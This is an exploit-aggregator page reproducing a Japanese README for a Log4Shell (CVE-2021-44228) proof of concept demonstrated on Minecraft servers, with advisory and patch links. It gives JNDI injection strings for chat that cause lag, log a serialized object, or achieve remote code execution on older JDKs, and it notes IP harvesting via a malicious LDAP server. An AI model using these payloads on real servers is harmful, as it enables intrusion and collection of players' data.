Sploitus

Exploit for Log4J-RCE-Proof-Of-Concept

kitploit · 2026-09-03

Exploit Code

MARKDOWN58 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HYCRAFTHD-LOG4J-RCE-PROOF-OF-CONCEPT
# Log4J-RCE-Proof-Of-Concept (CVE-2021-44228)

これはlog4jのRCEの概念実証です。

CVE-2021-44228に関するリンクはこちら:

  * https://www.lunasec.io/docs/blog/log4j-zero-day
  * https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  * https://github.com/apache/logging-log4j2/pull/608
  * https://www.youtube.com/watch?v=JPGola6BamU



このバグはほぼすべてのlog4j2とおそらくlog4j1のバージョンに影響します。推奨バージョンは、このエクスプロイトを修正した**2.15.0**です。

## Minecraftを使用したデモ(log4j2を使用)

  * Minecraftへの影響の詳細はこちら:https://twitter.com/slicedlime/status/1469150993527017483
  * Minecraftからの記事はこちら:https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition
  * 修正されたMinecraft Forgeバージョン:https://twitter.com/gigaherz/status/1469331288368861195
  * Minecraft Forgeからの詳細記事:https://gist.github.com/TheCurle/f15a6b63ceee3be58bff5e7a97c3a4e6
  * 修正されたMinecraft Fabricバージョン:https://twitter.com/slicedlime/status/1469192689904193537
  * 修正されたMinecraft Paperバージョン:https://twitter.com/aurora_smiles_/status/1469205803232026625
  * 修正されたMinecraft Spigotバージョン:https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/
  * 修正されたMinecraft Spongeバージョン:https://discord.com/channels/142425412096491520/303772747907989504/918744598065586196



### ラグまたはシリアライズデータの送信

  * チャットに`${jndi:ldap://127.0.0.1/e}`を貼り付けます。ポート`389`で開いているソケットがある場合、logj4は接続を試み、タイムアウトが発生するまでそれ以上の通信をブロックします。
  * この概念実証エクスプロイトを使用すると、コンソールのログに`THIS IS SEND TO THE LOG!!! LOG4J EXPLOIT!`が記録されます。これはLDAPサーバーからのシリアライズされた文字列オブジェクトです。



![image](https://assets.kitploit.com/production/public/readmes/36673/688788202c0c88c5ba3748f4118412b3fe1baec8524e31e2e871fa967b7627d0.png)

  * さらに、悪意のあるLDAPサーバーは、メッセージがログに記録されたすべてのIPアドレスを受信します。つまり、このエクスプロイトを使用してサーバー上のプレイヤーのIPアドレスを収集できる可能性があります。



### RCE

  * チャットに`${jndi:ldap://127.0.0.1/exe}`を貼り付けます。`-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`がtrueに設定されている場合、リモートコード実行が発生します。



![image](https://assets.kitploit.com/production/public/readmes/36673/0c76856289d1475ddb3f6eaa2b9a941f7430d995394aced69c7ed7e426b10186.png)

  * 幸いなことに、現代のJDKはデフォルトでリモートクラスローディングを無効にしています。(https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
  * 古いバージョンではこれが許可される可能性があります!!



## 免責事項

このプロジェクトは教育目的のみです。